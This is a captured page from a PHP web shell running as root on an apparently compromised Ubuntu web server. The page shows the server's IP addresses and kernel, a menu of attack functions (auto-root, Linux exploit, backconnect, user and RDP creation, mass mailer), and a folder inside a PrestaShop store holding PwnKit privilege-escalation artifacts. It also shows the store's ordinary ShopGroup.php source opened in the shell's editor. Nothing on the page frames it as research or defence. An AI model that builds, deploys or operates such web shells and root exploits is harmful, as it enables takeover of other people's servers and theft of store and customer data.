Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
tienda /
classes /
shop /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Shop.php
43.11
KB
-rwxrwxrwx
ShopGroup.php
5.14
KB
-rwxrwxrwx
ShopUrl.php
6.96
KB
-rwxrwxrwx
index.php
1.29
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ShopGroup.php
<?php /** * 2007-2019 PrestaShop and Contributors * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2019 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ /** * @since 1.5.0 */ class ShopGroupCore extends ObjectModel { public $name; public $active = true; public $share_customer; public $share_stock; public $share_order; public $deleted; /** * @see ObjectModel::$definition */ public static $definition = array( 'table' => 'shop_group', 'primary' => 'id_shop_group', 'fields' => array( 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 64), 'share_customer' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), 'share_order' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), 'share_stock' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), 'deleted' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), ), ); /** * @see ObjectModel::getFields() * * @return array */ public function getFields() { if (!$this->share_customer || !$this->share_stock) { $this->share_order = false; } return parent::getFields(); } public static function getShopGroups($active = true) { $groups = new PrestaShopCollection('ShopGroup'); $groups->where('deleted', '=', false); if ($active) { $groups->where('active', '=', true); } return $groups; } /** * @return int Total of shop groups */ public static function getTotalShopGroup($active = true) { return count(ShopGroup::getShopGroups($active)); } public function haveShops() { return (bool) $this->getTotalShops(); } public function getTotalShops() { $sql = 'SELECT COUNT(*) FROM ' . _DB_PREFIX_ . 'shop s WHERE id_shop_group=' . (int) $this->id; return (int) Db::getInstance()->getValue($sql); } public static function getShopsFromGroup($id_group) { $sql = 'SELECT s.`id_shop` FROM ' . _DB_PREFIX_ . 'shop s WHERE id_shop_group=' . (int) $id_group; return Db::getInstance()->executeS($sql); } /** * Return a group shop ID from group shop name. * * @param string $name * * @return int */ public static function getIdByName($name) { $sql = 'SELECT id_shop_group FROM ' . _DB_PREFIX_ . 'shop_group WHERE name = \'' . pSQL($name) . '\''; return (int) Db::getInstance()->getValue($sql); } /** * Detect dependency with customer or orders. * * @param int $id_shop_group * @param string $check all|customer|order * * @return bool */ public static function hasDependency($id_shop_group, $check = 'all') { $list_shops = Shop::getShops(false, $id_shop_group, true); if (!$list_shops) { return false; } if ($check == 'all' || $check == 'customer') { $total_customer = (int) Db::getInstance()->getValue( 'SELECT count(*) FROM `' . _DB_PREFIX_ . 'customer` WHERE `id_shop` IN (' . implode(', ', $list_shops) . ')' ); if ($total_customer) { return true; } } if ($check == 'all' || $check == 'order') { $total_order = (int) Db::getInstance()->getValue( 'SELECT count(*) FROM `' . _DB_PREFIX_ . 'orders` WHERE `id_shop` IN (' . implode(', ', $list_shops) . ')' ); if ($total_order) { return true; } } return false; } public function shopNameExists($name, $id_shop = false) { return Db::getInstance()->getValue( 'SELECT id_shop FROM ' . _DB_PREFIX_ . 'shop WHERE name = "' . pSQL($name) . '" AND id_shop_group = ' . (int) $this->id . ' ' . ($id_shop ? 'AND id_shop != ' . (int) $id_shop : '') ); } }
Close